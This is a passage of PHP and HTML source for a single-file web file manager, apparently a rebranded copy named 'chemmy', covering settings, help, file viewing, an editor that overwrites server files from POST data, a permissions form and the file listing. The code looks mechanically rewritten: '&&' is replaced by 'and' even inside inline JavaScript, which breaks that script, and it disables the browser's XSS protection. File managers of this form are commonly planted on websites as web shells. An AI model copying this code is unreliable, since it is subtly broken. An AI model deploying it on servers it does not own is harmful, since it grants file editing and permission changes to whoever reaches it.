                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
                                <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="." target="_blank" class="app-v-title"> chemmy <?php echo VERSION; ?></a></h3></p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path); ?>
                <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
                <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                <strong>MIME-type:</strong> <?php echo $mime_type ?><br>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) and $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                    ?>
                    <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
                    <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>&nbsp;
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>&nbsp;
                    <?php
                }
                if ($is_text and !FM_READONLY) {
                    ?>
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                        </a></b> &nbsp;
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                        </a></b> &nbsp;
                <?php } ?>
                <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fanco($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                    echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fanco($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>'. $file. '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text and $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> 
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $uu = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $uu ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ii++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fanco($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
